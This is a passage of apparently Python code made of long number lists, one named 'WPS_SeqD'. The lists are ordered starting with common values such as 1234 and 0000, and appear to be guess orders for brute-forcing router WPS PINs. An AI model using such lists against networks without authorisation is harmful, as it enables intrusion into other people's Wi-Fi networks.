;6294;6295;6296;6297;6298;6299;6300;6301;6302;6303;6304;6305;6306;6307;6308;6309;6310;6311;6312;6313;6314;6315;6316;6317;6318;6319;6320;6321;6322;6323;6324;6325;6326;6327;6328;6329;6330;6331;6332;6333;6334;6335;6336;6337;6338;6339;6340;6341;6342;6343;6344;6345;6346;6347;6348;6349;6350;6351;6352;6353;6354;6355;6356;6357;6358;6359;6360;6361;6362;6363;6364;6365;6366;6367;6368;6369;6370;6371;6372;6373;6374;6375;6376;6377;6378;6379;6380;6381;6382;6383;6384;6385;6386;6387;6388;6389;6390;6391;6392;6393;6394;6395;6396;6397;6398;6399;6400;6401;6402;6403;6404;6405;6406;6407;6408;6409;6410;6411;6412;6413;6414;6415;6416;6417;6418;6419;6420;6421;6422;6423;6424;6425;6426;6427;6428;6429;6430;6431;6432;6433;6434;6435;6436;6437;6438;6439;6440;6441;6442;6443;6444;6445;6446;6447;6448;6449;6450;6451;6452;6453;6454;6455;6456;6457;6458;6459;6460;6461;6462;6463;6464;6465;6466;6467;6468;6469;6470;6471;6472;6473;6474;6475;6476;6477;6478;6479;6480;6481;6482;6483;6484;6485;6486;6487;6488;6489;6490;6491;6492;6493;6494;6495;6496;6497;6498;6499;6500;6501;6502;6503;6504;6505;6506;6507;6508;6509;6510;6511;6512;6513;6514;6515;6516;6517;6518;6519;6520;6521;6522;6523;6524;6525;6526;6527;6528;6529;6530;6531;6532;6533;6534;6535;6536;6537;6538;6539;6540;6541;6542;6543;6544;6545;6546;6547;6548;6549;6550;6551;6552;6553;6554;6555;6556;6557;6558;6559;6560;6561;6562;6563;6564;6565;6566;6567;6568;6569;6570;6571;6572;6573;6574;6575;6576;6577;6578;6579;6580;6581;6582;6583;6584;6585;6586;6587;6588;6589;6590;6591;6592;6593;6594;6595;6596;6597;6598;6599;6600;6601;6602;6603;6604;6605;6606;6607;6608;6609;6610;6611;6612;6613;6614;6615;6616;6617;6618;6619;6620;6621;6622;6623;6624;6625;6626;6627;6628;6629;6630;6631;6632;6633;6634;6635;6636;6637;6638;6639;6640;6641;6642;6643;6644;6645;6646;6647;6648;6649;6650;6651;6652;6653;6654;6655;6656;6657;6658;6659;6660;6661;6662;6663;6664;6665;6667;6668;6669;6670;6671;6672;6673;6674;6675;6676;6677;6678;6679;6680;6681;6682;6683;6684;6685;6686;6687;6688;6689;6690;6691;6692;6693;6694;6695;6696;6697;6698;6699;6700;6701;6702;6703;6704;6705;6706;6707;6708;6709;6710;6711;6712;6713;6714;6715;6716;6717;6718;6719;6720;6721;6722;6723;6724;6725;6726;6727;6728;6729;6730;6731;6732;6733;6734;6735;6736;6737;6738;6739;6740;6741;6742;6743;6744;6745;6746;6747;6748;6749;6750;6751;6752;6753;6754;6755;6756;6757;6758;6759;6760;6761;6762;6763;6764;6765;6766;6767;6768;6769;6770;6771;6772;6773;6774;6775;6776;6777;6778;6779;6780;6781;6782;6783;6784;6785;6786;6787;6788;6789;6790;6791;6792;6793;6794;6795;6796;6797;6798;6799;6800;6801;6802;6803;6804;6805;6806;6807;6808;6809;6810;6811;6812;6813;6814;6815;6816;6817;6818;6819;6820;6821;6822;6823;6824;6825;6826;6827;6828;6829;6830;6831;6832;6833;6834;6835;6836;6837;6838;6839;6840;6841;6842;6843;6844;6845;6846;6847;6848;6849;6850;6851;6852;6853;6854;6855;6856;6857;6858;6859;6860;6861;6862;6863;6864;6865;6866;6867;6868;6869;6870;6871;6872;6873;6874;6875;6876;6877;6878;6879;6880;6881;6882;6883;6884;6885;6886;6887;6888;6889;6890;6891;6892;6893;6894;6895;6896;6897;6898;6899;6900;6901;6902;6903;6904;6905;6906;6907;6908;6909;6910;6911;6912;6913;6914;6915;6916;6917;6918;6919;6920;6921;6922;6923;6924;6925;6926;6927;6928;6929;6930;6931;6932;6933;6934;6935;6936;6937;6938;6939;6940;6941;6942;6943;6944;6945;6946;6947;6948;6949;6950;6951;6952;6953;6954;6955;6956;6957;6958;6959;6960;6961;6962;6963;6964;6965;6966;6967;6968;6969;6970;6971;6972;6973;6974;6975;6976;6977;6978;6979;6980;6981;6982;6983;6984;6985;6986;6987;6988;6989;6990;6991;6992;6993;6994;6995;6996;6997;6998;6999;7000;7001;7002;7003;7004;7005;7006;7007;7008;7009;7010;7011;7012;7013;7014;7015;7016;7017;7018;7019;7020;7021;7022;7023;7024;7025;7026;7027;7028;7029;7030;7031;7032;7033;7034;7035;7036;7037;7038;7039;7040;7041;7042;7043;7044;7045;7046;7047;7048;7049;7050;7051;7052;7053;7054;7055;7056;7057;7058;7059;7060;7061;7062;7063;7064;7065;7066;7067;7068;7069;7070;7071;7072;7073;7074;7075;7076;7077;7078;7079;7080;7081;7082;7083;7084;7085;7086;7087;7088;7089;7090;7091;7092;7093;7094;7095;7096;7097;7098;7099;7100;7101;7102;7103;7104;7105;7106;7107;7108;7109;7110;7111;7112;7113;7114;7115;7116;7117;7118;7119;7120;7121;7122;7123;7124;7125;7126;7127;7128;7129;7130;7131;7132;7133;7134;7135;7136;7137;7138;7139;7140;7141;7142;7143;7144;7145;7146;7147;7148;7149;7150;7151;7152;7153;7154;7155;7156;7157;7158;7159;7160;7161;7162;7163;7164;7165;7166;7167;7168;7169;7170;7171;7172;7173;7174;7175;7176;7177;7178;7179;7180;7181;7182;7183;7184;7185;7186;7187;7188;7189;7190;7191;7192;7193;7194;7195;7196;7197;7198;7199;7200;7201;7202;7203;7204;7205;7206;7207;7208;7209;7210;7211;7212;7213;7214;7215;7216;7217;7218;7219;7220;7221;7222;7223;7224;7225;7226;7227;7228;7229;7230;7231;7232;7233;7234;7235;7236;7237;7238;7239;7240;7241;7242;7243;7244;7245;7246;7247;7248;7249;7250;7251;7252;7253;7254;7255;7256;7257;7258;7259;7260;7261;7262;7263;7264;7265;7266;7267;7268;7269;7270;7271;7272;7273;7274;7275;7276;7277;7278;7279;7280;7281;7282;7283;7284;7285;7286;7287;7288;7289;7290;7291;7292;7293;7294;7295;7296;7297;7298;7299;7300;7301;7302;7303;7304;7305;7306;7307;7308;7309;7310;7311;7312;7313;7314;7315;7316;7317;7318;7319;7320;7321;7322;7323;7324;7325;7326;7327;7328;7329;7330;7331;7332;7333;7334;7335;7336;7337;7338;7339;7340;7341;7342;7343;7344;7345;7346;7347;7348;7349;7350;7351;7352;7353;7354;7355;7356;7357;7358;7359;7360;7361;7362;7363;7364;7365;7366;7367;7368;7369;7370;7371;7372;7373;7374;7375;7376;7377;7378;7379;7380;7381;7382;7383;7384;7385;7386;7387;7388;7389;7390;7391;7392;7393;7394;7395;7396;7397;7398;7399;7400;7401;7402;7403;7404;7405;7406;7407;7408;7409;7410;7411;7412;7413;7414;7415;7416;7417;7418;7419;7420;7421;7422;7423;7424;7425;7426;7427;7428;7429;7430;7431;7432;7433;7434;7435;7436;7437;7438;7439;7440;7441;7442;7443;7444;7445;7446;7447;7448;7449;7450;7451;7452;7453;7454;7455;7456;7457;7458;7459;7460;7461;7462;7463;7464;7465;7466;7467;7468;7469;7470;7471;7472;7473;7474;7475;7476;7477;7478;7479;7480;7481;7482;7483;7484;7485;7486;7487;7488;7489;7490;7491;7492;7493;7494;7495;7496;7497;7498;7499;7500;7501;7502;7503;7504;7505;7506;7507;7508;7509;7510;7511;7512;7513;7514;7515;7516;7517;7518;7519;7520;7521;7522;7523;7524;7525;7526;7527;7528;7529;7530;7531;7532;7533;7534;7535;7536;7537;7538;7539;7540;7541;7542;7543;7544;7545;7546;7547;7548;7549;7550;7551;7552;7553;7554;7555;7556;7557;7558;7559;7560;7561;7562;7563;7564;7565;7566;7567;7568;7569;7570;7571;7572;7573;7574;7575;7576;7577;7578;7579;7580;7581;7582;7583;7584;7585;7586;7587;7588;7589;7590;7591;7592;7593;7594;7595;7596;7597;7598;7599;7600;7601;7602;7603;7604;7605;7606;7607;7608;7609;7610;7611;7612;7613;7614;7615;7616;7617;7618;7619;7620;7621;7622;7623;7624;7625;7626;7627;7628;7629;7630;7631;7632;7633;7634;7635;7636;7637;7638;7639;7640;7641;7642;7643;7644;7645;7646;7647;7648;7649;7650;7651;7652;7653;7654;7655;7656;7657;7658;7659;7660;7661;7662;7663;7664;7665;7666;7667;7668;7669;7670;7671;7672;7673;7674;7675;7676;7677;7678;7679;7680;7681;7682;7683;7684;7685;7686;7687;7688;7689;7690;7691;7692;7693;7694;7695;7696;7697;7698;7699;7700;7701;7702;7703;7704;7705;7706;7707;7708;7709;7710;7711;7712;7713;7714;7715;7716;7717;7718;7719;7720;7721;7722;7723;7724;7725;7726;7727;7728;7729;7730;7731;7732;7733;7734;7735;7736;7737;7738;7739;7740;7741;7742;7743;7744;7745;7746;7747;7748;7749;7750;7751;7752;7753;7754;7755;7756;7757;7758;7759;7760;7761;7762;7763;7764;7765;7766;7767;7768;7769;7770;7771;7772;7773;7774;7775;7776;7778;7779;7780;7781;7782;7783;7784;7785;7786;7787;7788;7789;7790;7791;7792;7793;7794;7795;7796;7797;7798;7799;7800;7801;7802;7803;7804;7805;7806;7807;7808;7809;7810;7811;7812;7813;7814;7815;7816;7817;7818;7819;7820;7821;7822;7823;7824;7825;7826;7827;7828;7829;7830;7831;7832;7833;7834;7835;7836;7837;7838;7839;7840;7841;7842;7843;7844;7845;7846;7847;7848;7849;7850;7851;7852;7853;7854;7855;7856;7857;7858;7859;7860;7861;7862;7863;7864;7865;7866;7867;7868;7869;7870;7871;7872;7873;7874;7875;7876;7877;7878;7879;7880;7881;7882;7883;7884;7885;7886;7887;7888;7889;7890;7891;7892;7893;7894;7895;7896;7897;7898;7899;7900;7901;7902;7903;7904;7905;7906;7907;7908;7909;7910;7911;7912;7913;7914;7915;7916;7917;7918;7919;7920;7921;7922;7923;7924;7925;7926;7927;7928;7929;7930;7931;7932;7933;7934;7935;7936;7937;7938;7939;7940;7941;7942;7943;7944;7945;7946;7947;7948;7949;7950;7951;7952;7953;7954;7955;7956;7957;7958;7959;7960;7961;7962;7963;7964;7965;7966;7967;7968;7969;7970;7971;7972;7973;7974;7975;7976;7977;7978;7979;7980;7981;7982;7983;7984;7985;7986;7987;7988;7989;7990;7991;7992;7993;7994;7995;7996;7997;7998;7999;8000;8001;8002;8003;8004;8005;8006;8007;8008;8009;8010;8011;8012;8013;8014;8015;8016;8017;8018;8019;8020;8021;8022;8023;8024;8025;8026;8027;8028;8029;8030;8031;8032;8033;8034;8035;8036;8037;8038;8039;8040;8041;8042;8043;8044;8045;8046;8047;8048;8049;8050;8051;8052;8053;8054;8055;8056;8057;8058;8059;8060;8061;8062;8063;8064;8065;8066;8067;8068;8069;8070;8071;8072;8073;8074;8075;8076;8077;8078;8079;8080;8081;8082;8083;8084;8085;8086;8087;8088;8089;8090;8091;8092;8093;8094;8095;8096;8097;8098;8099;8100;8101;8102;8103;8104;8105;8106;8107;8108;8109;8110;8111;8112;8113;8114;8115;8116;8117;8118;8119;8120;8121;8122;8123;8124;8125;8126;8127;8128;8129;8130;8131;8132;8133;8134;8135;8136;8137;8138;8139;8140;8141;8142;8143;8144;8145;8146;8147;8148;8149;8150;8151;8152;8153;8154;8155;8156;8157;8158;8159;8160;8161;8162;8163;8164;8165;8166;8167;8168;8169;8170;8171;8172;8173;8174;8175;8176;8177;8178;8179;8180;8181;8182;8183;8184;8185;8186;8187;8188;8189;8190;8191;8192;8193;8194;8195;8196;8197;8198;8199;8200;8201;8202;8203;8204;8205;8206;8207;8208;8209;8210;8211;8212;8213;8214;8215;8216;8217;8218;8219;8220;8221;8222;8223;8224;8225;8226;8227;8228;8229;8230;8231;8232;8233;8234;8235;8236;8237;8238;8239;8240;8241;8242;8243;8244;8245;8246;8247;8248;8249;8250;8251;8252;8253;8254;8255;8256;8257;8258;8259;8260;8261;8262;8263;8264;8265;8266;8267;8268;8269;8270;8271;8272;8273;8274;8275;8276;8277;8278;8279;8280;8281;8282;8283;8284;8285;8286;8287;8288;8289;8290;8291;8292;8293;8294;8295;8296;8297;8298;8299;8300;8301;8302;8303;8304;8305;8306;8307;8308;8309;8310;8311;8312;8313;8314;8315;8316;8317;8318;8319;8320;8321;8322;8323;8324;8325;8326;8327;8328;8329;8330;8331;8332;8333;8334;8335;8336;8337;8338;8339;8340;8341;8342;8343;8344;8345;8346;8347;8348;8349;8350;8351;8352;8353;8354;8355;8356;8357;8358;8359;8360;8361;8362;8363;8364;8365;8366;8367;8368;8369;8370;8371;8372;8373;8374;8375;8376;8377;8378;8379;8380;8381;8382;8383;8384;8385;8386;8387;8388;8389;8390;8391;8392;8393;8394;8395;8396;8397;8398;8399;8400;8401;8402;8403;8404;8405;8406;8407;8408;8409;8410;8411;8412;8413;8414;8415;8416;8417;8418;8419;8420;8421;8422;8423;8424;8425;8426;8427;8428;8429;8430;8431;8432;8433;8434;8435;8436;8437;8438;8439;8440;8441;8442;8443;8444;8445;8446;8447;8448;8449;8450;8451;8452;8453;8454;8455;8456;8457;8458;8459;8460;8461;8462;8463;8464;8465;8466;8467;8468;8469;8470;8471;8472;8473;8474;8475;8476;8477;8478;8479;8480;8481;8482;8483;8484;8485;8486;8487;8488;8489;8490;8491;8492;8493;8494;8495;8496;8497;8498;8499;8500;8501;8502;8503;8504;8505;8506;8507;8508;8509;8510;8511;8512;8513;8514;8515;8516;8517;8518;8519;8520;8521;8522;8523;8524;8525;8526;8527;8528;8529;8530;8531;8532;8533;8534;8535;8536;8537;8538;8539;8540;8541;8542;8543;8544;8545;8546;8547;8548;8549;8550;8551;8552;8553;8554;8555;8556;8557;8558;8559;8560;8561;8562;8563;8564;8565;8566;8567;8568;8569;8570;8571;8572;8573;8574;8575;8576;8577;8578;8579;8580;8581;8582;8583;8584;8585;8586;8587;8588;8589;8590;8591;8592;8593;8594;8595;8596;8597;8598;8599;8600;8601;8602;8603;8604;8605;8606;8607;8608;8609;8610;8611;8612;8613;8614;8615;8616;8617;8618;8619;8620;8621;8622;8623;8624;8625;8626;8627;8628;8629;8630;8631;8632;8633;8634;8635;8636;8637;8638;8639;8640;8641;8642;8643;8644;8645;8646;8647;8648;8649;8650;8651;8652;8653;8654;8655;8656;8657;8658;8659;8660;8661;8662;8663;8664;8665;8666;8667;8668;8669;8670;8671;8672;8673;8674;8675;8676;8677;8678;8679;8680;8681;8682;8683;8684;8685;8686;8687;8688;8689;8690;8691;8692;8693;8694;8695;8696;8697;8698;8699;8700;8701;8702;8703;8704;8705;8706;8707;8708;8709;8710;8711;8712;8713;8714;8715;8716;8717;8718;8719;8720;8721;8722;8723;8724;8725;8726;8727;8728;8729;8730;8731;8732;8733;8734;8735;8736;8737;8738;8739;8740;8741;8742;8743;8744;8745;8746;8747;8748;8749;8750;8751;8752;8753;8754;8755;8756;8757;8758;8759;8760;8761;8762;8763;8764;8765;8766;8767;8768;8769;8770;8771;8772;8773;8774;8775;8776;8777;8778;8779;8780;8781;8782;8783;8784;8785;8786;8787;8788;8789;8790;8791;8792;8793;8794;8795;8796;8797;8798;8799;8800;8801;8802;8803;8804;8805;8806;8807;8808;8809;8810;8811;8812;8813;8814;8815;8816;8817;8818;8819;8820;8821;8822;8823;8824;8825;8826;8827;8828;8829;8830;8831;8832;8833;8834;8835;8836;8837;8838;8839;8840;8841;8842;8843;8844;8845;8846;8847;8848;8849;8850;8851;8852;8853;8854;8855;8856;8857;8858;8859;8860;8861;8862;8863;8864;8865;8866;8867;8868;8869;8870;8871;8872;8873;8874;8875;8876;8877;8878;8879;8880;8881;8882;8883;8884;8885;8886;8887;8889;8890;8891;8892;8893;8894;8895;8896;8897;8898;8899;8900;8901;8902;8903;8904;8905;8906;8907;8908;8909;8910;8911;8912;8913;8914;8915;8916;8917;8918;8919;8920;8921;8922;8923;8924;8925;8926;8927;8928;8929;8930;8931;8932;8933;8934;8935;8936;8937;8938;8939;8940;8941;8942;8943;8944;8945;8946;8947;8948;8949;8950;8951;8952;8953;8954;8955;8956;8957;8958;8959;8960;8961;8962;8963;8964;8965;8966;8967;8968;8969;8970;8971;8972;8973;8974;8975;8976;8977;8978;8979;8980;8981;8982;8983;8984;8985;8986;8987;8988;8989;8990;8991;8992;8993;8994;8995;8996;8997;8998;8999;9000;9001;9002;9003;9004;9005;9006;9007;9008;9009;9010;9011;9012;9013;9014;9015;9016;9017;9018;9019;9020;9021;9022;9023;9024;9025;9026;9027;9028;9029;9030;9031;9032;9033;9034;9035;9036;9037;9038;9039;9040;9041;9042;9043;9044;9045;9046;9047;9048;9049;9050;9051;9052;9053;9054;9055;9056;9057;9058;9059;9060;9061;9062;9063;9064;9065;9066;9067;9068;9069;9070;9071;9072;9073;9074;9075;9076;9077;9078;9079;9080;9081;9082;9083;9084;9085;9086;9087;9088;9089;9090;9091;9092;9093;9094;9095;9096;9097;9098;9099;9100;9101;9102;9103;9104;9105;9106;9107;9108;9109;9110;9111;9112;9113;9114;9115;9116;9117;9118;9119;9120;9121;9122;9123;9124;9125;9126;9127;9128;9129;9130;9131;9132;9133;9134;9135;9136;9137;9138;9139;9140;9141;9142;9143;9144;9145;9146;9147;9148;9149;9150;9151;9152;9153;9154;9155;9156;9157;9158;9159;9160;9161;9162;9163;9164;9165;9166;9167;9168;9169;9170;9171;9172;9173;9174;9175;9176;9177;9178;9179;9180;9181;9182;9183;9184;9185;9186;9187;9188;9189;9190;9191;9192;9193;9194;9195;9196;9197;9198;9199;9200;9201;9202;9203;9204;9205;9206;9207;9208;9209;9210;9211;9212;9213;9214;9215;9216;9217;9218;9219;9220;9221;9222;9223;9224;9225;9226;9227;9228;9229;9230;9231;9232;9233;9234;9235;9236;9237;9238;9239;9240;9241;9242;9243;9244;9245;9246;9247;9248;9249;9250;9251;9252;9253;9254;9255;9256;9257;9258;9259;9260;9261;9262;9263;9264;9265;9266;9267;9268;9269;9270;9271;9272;9273;9274;9275;9276;9277;9278;9279;9280;9281;9282;9283;9284;9285;9286;9287;9288;9289;9290;9291;9292;9293;9294;9295;9296;9297;9298;9299;9300;9301;9302;9303;9304;9305;9306;9307;9308;9309;9310;9311;9312;9313;9314;9315;9316;9317;9318;9319;9320;9321;9322;9323;9324;9325;9326;9327;9328;9329;9330;9331;9332;9333;9334;9335;9336;9337;9338;9339;9340;9341;9342;9343;9344;9345;9346;9347;9348;9349;9350;9351;9352;9353;9354;9355;9356;9357;9358;9359;9360;9361;9362;9363;9364;9365;9366;9367;9368;9369;9370;9371;9372;9373;9374;9375;9376;9377;9378;9379;9380;9381;9382;9383;9384;9385;9386;9387;9388;9389;9390;9391;9392;9393;9394;9395;9396;9397;9398;9399;9400;9401;9402;9403;9404;9405;9406;9407;9408;9409;9410;9411;9412;9413;9414;9415;9416;9417;9418;9419;9420;9421;9422;9423;9424;9425;9426;9427;9428;9429;9430;9431;9432;9433;9434;9435;9436;9437;9438;9439;9440;9441;9442;9443;9444;9445;9446;9447;9448;9449;9450;9451;9452;9453;9454;9455;9456;9457;9458;9459;9460;9461;9462;9463;9464;9465;9466;9467;9468;9469;9470;9471;9472;9473;9474;9475;9476;9477;9478;9479;9480;9481;9482;9483;9484;9485;9486;9487;9488;9489;9490;9491;9492;9493;9494;9495;9496;9497;9498;9499;9500;9501;9502;9503;9504;9505;9506;9507;9508;9509;9510;9511;9512;9513;9514;9515;9516;9517;9518;9519;9520;9521;9522;9523;9524;9525;9526;9527;9528;9529;9530;9531;9532;9533;9534;9535;9536;9537;9538;9539;9540;9541;9542;9543;9544;9545;9546;9547;9548;9549;9550;9551;9552;9553;9554;9555;9556;9557;9558;9559;9560;9561;9562;9563;9564;9565;9566;9567;9568;9569;9570;9571;9572;9573;9574;9575;9576;9577;9578;9579;9580;9581;9582;9583;9584;9585;9586;9587;9588;9589;9590;9591;9592;9593;9594;9595;9596;9597;9598;9599;9600;9601;9602;9603;9604;9605;9606;9607;9608;9609;9610;9611;9612;9613;9614;9615;9616;9617;9618;9619;9620;9621;9622;9623;9624;9625;9626;9627;9628;9629;9630;9631;9632;9633;9634;9635;9636;9637;9638;9639;9640;9641;9642;9643;9644;9645;9646;9647;9648;9649;9650;9651;9652;9653;9654;9655;9656;9657;9658;9659;9660;9661;9662;9663;9664;9665;9666;9667;9668;9669;9670;9671;9672;9673;9674;9675;9676;9677;9678;9679;9680;9681;9682;9683;9684;9685;9686;9687;9688;9689;9690;9691;9692;9693;9694;9695;9696;9697;9698;9699;9700;9701;9702;9703;9704;9705;9706;9707;9708;9709;9710;9711;9712;9713;9714;9715;9716;9717;9718;9719;9720;9721;9722;9723;9724;9725;9726;9727;9728;9729;9730;9731;9732;9733;9734;9735;9736;9737;9738;9739;9740;9741;9742;9743;9744;9745;9746;9747;9748;9749;9750;9751;9752;9753;9754;9755;9756;9757;9758;9759;9760;9761;9762;9763;9764;9765;9766;9767;9768;9769;9770;9771;9772;9773;9774;9775;9776;9777;9778;9779;9780;9781;9782;9783;9784;9785;9786;9787;9788;9789;9790;9791;9792;9793;9794;9795;9796;9797;9798;9799;9800;9801;9802;9803;9804;9805;9806;9807;9808;9809;9810;9811;9812;9813;9814;9815;9816;9817;9818;9819;9820;9821;9822;9823;9824;9825;9826;9827;9828;9829;9830;9831;9832;9833;9834;9835;9836;9837;9838;9839;9840;9841;9842;9843;9844;9845;9846;9847;9848;9849;9850;9851;9852;9853;9854;9855;9856;9857;9858;9859;9860;9861;9862;9863;9864;9865;9866;9867;9868;9869;9870;9871;9872;9873;9874;9875;9876;9877;9878;9879;9880;9881;9882;9883;9884;9885;9886;9887;9888;9889;9890;9891;9892;9893;9894;9895;9896;9897;9898;9899;9900;9901;9902;9903;9904;9905;9906;9907;9908;9909;9910;9911;9912;9913;9914;9915;9916;9917;9918;9919;9920;9921;9922;9923;9924;9925;9926;9927;9928;9929;9930;9931;9932;9933;9934;9935;9936;9937;9938;9939;9940;9941;9942;9943;9944;9945;9946;9947;9948;9949;9950;9951;9952;9953;9954;9955;9956;9957;9958;9959;9960;9961;9962;9963;9964;9965;9966;9967;9968;9969;9970;9971;9972;9973;9974;9975;9976;9977;9978;9979;9980;9981;9982;9983;9984;9985;9986;9987;9988;9989;9990;9991;9992;9993;9994;9995;9996;9997;9998;567;000;222;333;444;555;598;666;777;888;999;001;002;003;004;005;006;007;008;009;010;011;012;013;014;015;016;017;018;019;020;021;022;023;024;025;026;027;028;029;030;031;032;033;034;035;036;037;038;039;040;041;042;043;044;045;046;047;048;049;050;051;052;053;054;055;056;057;058;059;060;061;062;063;064;065;066;067;068;069;070;071;072;073;074;075;076;077;078;079;080;081;082;083;084;085;086;087;088;089;090;091;092;093;094;095;096;097;098;099;100;101;102;103;104;105;106;107;108;109;110;111;112;113;114;115;116;117;118;119;120;121;122;123;124;125;126;127;128;129;130;131;132;133;134;135;136;137;138;139;140;141;142;143;144;145;146;147;148;149;150;151;152;153;154;155;156;157;158;159;160;161;162;163;164;165;166;167;168;169;170;171;172;173;174;175;176;177;178;179;180;181;182;183;184;185;186;187;188;189;190;191;192;193;194;195;196;197;198;199;200;201;202;203;204;205;206;207;208;209;210;211;212;213;214;215;216;217;218;219;220;221;223;224;225;226;227;228;229;230;231;232;233;234;235;236;237;238;239;240;241;242;243;244;245;246;247;248;249;250;251;252;253;254;255;256;257;258;259;260;261;262;263;264;265;266;267;268;269;270;271;272;273;274;275;276;277;278;279;280;281;282;283;284;285;286;287;288;289;290;291;292;293;294;295;296;297;298;299;300;301;302;303;304;305;306;307;308;309;310;311;312;313;314;315;316;317;318;319;320;321;322;323;324;325;326;327;328;329;330;331;332;334;335;336;337;338;339;340;341;342;343;344;345;346;347;348;349;350;351;352;353;354;355;356;357;358;359;360;361;362;363;364;365;366;367;368;369;370;371;372;373;374;375;376;377;378;379;380;381;382;383;384;385;386;387;388;389;390;391;392;393;394;395;396;397;398;399;400;401;402;403;404;405;406;407;408;409;410;411;412;413;414;415;416;417;418;419;420;421;422;423;424;425;426;427;428;429;430;431;432;433;434;435;436;437;438;439;440;441;442;443;445;446;447;448;449;450;451;452;453;454;455;456;457;458;459;460;461;462;463;464;465;466;467;468;469;470;471;472;473;474;475;476;477;478;479;480;481;482;483;484;485;486;487;488;489;490;491;492;493;494;495;496;497;498;499;500;501;502;503;504;505;506;507;508;509;510;511;512;513;514;515;516;517;518;519;520;521;522;523;524;525;526;527;528;529;530;531;532;533;534;535;536;537;538;539;540;541;542;543;544;545;546;547;548;549;550;551;552;553;554;556;557;558;559;560;561;562;563;564;565;566;568;569;570;571;572;573;574;575;576;577;578;579;580;581;582;583;584;585;586;587;588;589;590;591;592;593;594;595;596;597;599;600;601;602;603;604;605;606;607;608;609;610;611;612;613;614;615;616;617;618;619;620;621;622;623;624;625;626;627;628;629;630;631;632;633;634;635;636;637;638;639;640;641;642;643;644;645;646;647;648;649;650;651;652;653;654;655;656;657;658;659;660;661;662;663;664;665;667;668;669;670;671;672;673;674;675;676;677;678;679;680;681;682;683;684;685;686;687;688;689;690;691;692;693;694;695;696;697;698;699;700;701;702;703;704;705;706;707;708;709;710;711;712;713;714;715;716;717;718;719;720;721;722;723;724;725;726;727;728;729;730;731;732;733;734;735;736;737;738;739;740;741;742;743;744;745;746;747;748;749;750;751;752;753;754;755;756;757;758;759;760;761;762;763;764;765;766;767;768;769;770;771;772;773;774;775;776;778;779;780;781;782;783;784;785;786;787;788;789;790;791;792;793;794;795;796;797;798;799;800;801;802;803;804;805;806;807;808;809;810;811;812;813;814;815;816;817;818;819;820;821;822;823;824;825;826;827;828;829;830;831;832;833;834;835;836;837;838;839;840;841;842;843;844;845;846;847;848;849;850;851;852;853;854;855;856;857;858;859;860;861;862;863;864;865;866;867;868;869;870;871;872;873;874;875;876;877;878;879;880;881;882;883;884;885;886;887;889;890;891;892;893;894;895;896;897;898;899;900;901;902;903;904;905;906;907;908;909;910;911;912;913;914;915;916;917;918;919;920;921;922;923;924;925;926;927;928;929;930;931;932;933;934;935;936;937;938;939;940;941;942;943;944;945;946;947;948;949;950;951;952;953;954;955;956;957;958;959;960;961;962;963;964;965;966;967;968;969;970;971;972;973;974;975;976;977;978;979;980;981;982;983;984;985;986;987;988;989;990;991;992;993;994;995;996;997;998;"
__builtin__.WPS_SeqD ="0;0;0;1234;0000;0123;1111;2222;3333;4444;5555;6666;7777;8888;9999;9998;9997;9996;9995;9994;9993;9992;9991;9990;9989;9988;9987;9986;9985;9984;9983;9982;9981;9980;9979;9978;9977;9976;9975;9974;9973;9972;9971;9970;9969;9968;9967;9966;9965;9964;9963;9962;9961;9960;9959;9958;9957;9956;9955;9954;9953;9952;9951;9950;9949;9948;9947;9946;9945;9944;9943;9942;9941;9940;9939;9938;9937;9936;9935;9934;9933;9932;9931;9930;9929;9928;9927;9926;9925;9924;9923;9922;9921;9920;9919;9918;9917;9916;9915;9914;9913;9912;9911;9910;9909;9908;9907;9906;9905;9904;9903;9902;9901;9900;9899;9898;9897;9896;9895;9894;9893;9892;9891;9890;9889;9888;9887;9886;9885;9884;9883;9882;9881;9880;9879;9878;9877;9876;9875;9874;9873;9872;9871;9870;9869;9868;9867;9866;9865;9864;9863;9862;9861;9860;9859;9858;9857;9856;9855;9854;9853;9852;9851;9850;9849;9848;9847;9846;9845;9844;9843;9842;9841;9840;9839;9838;9837;9836;9835;9834;9833;9832;9831;9830;9829;9828;9827;9826;9825;9824;9823;9822;9821;9820;9819;9818;9817;9816;9815;9814;9813;9812;9811;9810;9809;9808;9807;9806;9805;9804;9803;9802;9801;9800;9799;9798;9797;9796;9795;9794;9793;9792;9791;9790;9789;9788;9787;9786;9785;9784;9783;9782;9781;9780;9779;9778;9777;9776;9775;9774;9773;9772;9771;9770;9769;9768;9767;9766;9765;9764;9763;9762;9761;9760;9759;9758;9757;9756;9755;9754;9753;9752;9751;9750;9749;9748;9747;9746;9745;9744;9743;9742;9741;9740;9739;9738;9737;9736;9735;9734;9733;9732;9731;9730;9729;9728;9727;9726;9725;9724;9723;9722;9721;9720;9719;9718;9717;9716;9715;9714;9713;9712;9711;9710;9709;9708;9707;9706;9705;9704;9703;9702;9701;9700;9699;9698;9697;9696;9695;9694;9693;9692;9691;9690;9689;9688;9687;9686;9685;9684;9683;9682;9681;9680;9679;9678;9677;9676;9675;9674;9673;9672;9671;9670;9669;9668;9667;9666;9665;9664;9663;9662;9661;9660;9659;9658;9657;9656;9655;9654;9653;9652;9651;9650;9649;9648;9647;9646;9645;9644;9643;9642;9641;9640;9639;9638;9637;9636;9635;9634;9633;9632;9631;9630;9629;9628;9627;9626;9625;9624;9623;9622;9621;9620;9619;9618;9617;9616;9615;9614;9613;9612;9611;9610;9609;9608;9607;9606;9605;9604;9603;9602;9601;9600;9599;9598;9597;9596;9595;9594;9593;9592;9591;9590;9589;9588;9587;9586;9585;9584;9583;9582;9581;9580;9579;9578;9577;9576;9575;9574;9573;9572;9571;9570;9569;9568;9567;9566;9565;9564;9563;9562;9561;9560;9559;9558;9557;9556;9555;9554;9553;9552;9551;9550;9549;9548;9547;9546;9545;9544;9543;9542;9541;9540;9539;9538;9537;9536;9535;9534;9533;9532;9531;9530;9529;9528;9527;9526;9525;9524;9523;9522;9521;9520;9519;9518;9517;9516;9515;9514;9513;9512;9511;9510;9509;9508;9507;9506;9505;9504;9503;9502;9501;9500;9499;9498;9497;9496;9495;9494;9493;9492;9491;9490;9489;9488;9487;9486;9485;9484;9483;9482;9481;9480;9479;9478;9477;9476;9475;9474;9473;9472;9471;9470;9469;9468;9467;9466;9465;9464;9463;9462;9461;9460;9459;9458;9457;9456;9455;9454;9453;9452;9451;9450;9449;9448;9447;9446;9445;9444;9443;9442;9441;9440;9439;9438;9437;9436;9435;9434;9433;9432;9431;9430;9429;9428;9427;9426;9425;9424;9423;9422;9421;9420;9419;9418;9417;9416;9415;9414;9413;9412;9411;9410;9409;9408;9407;9406;9405;9404;9403;9402;9401;9400;9399;9398;9397;9396;9395;9394;9393;9392;9391;9390;9389;9388;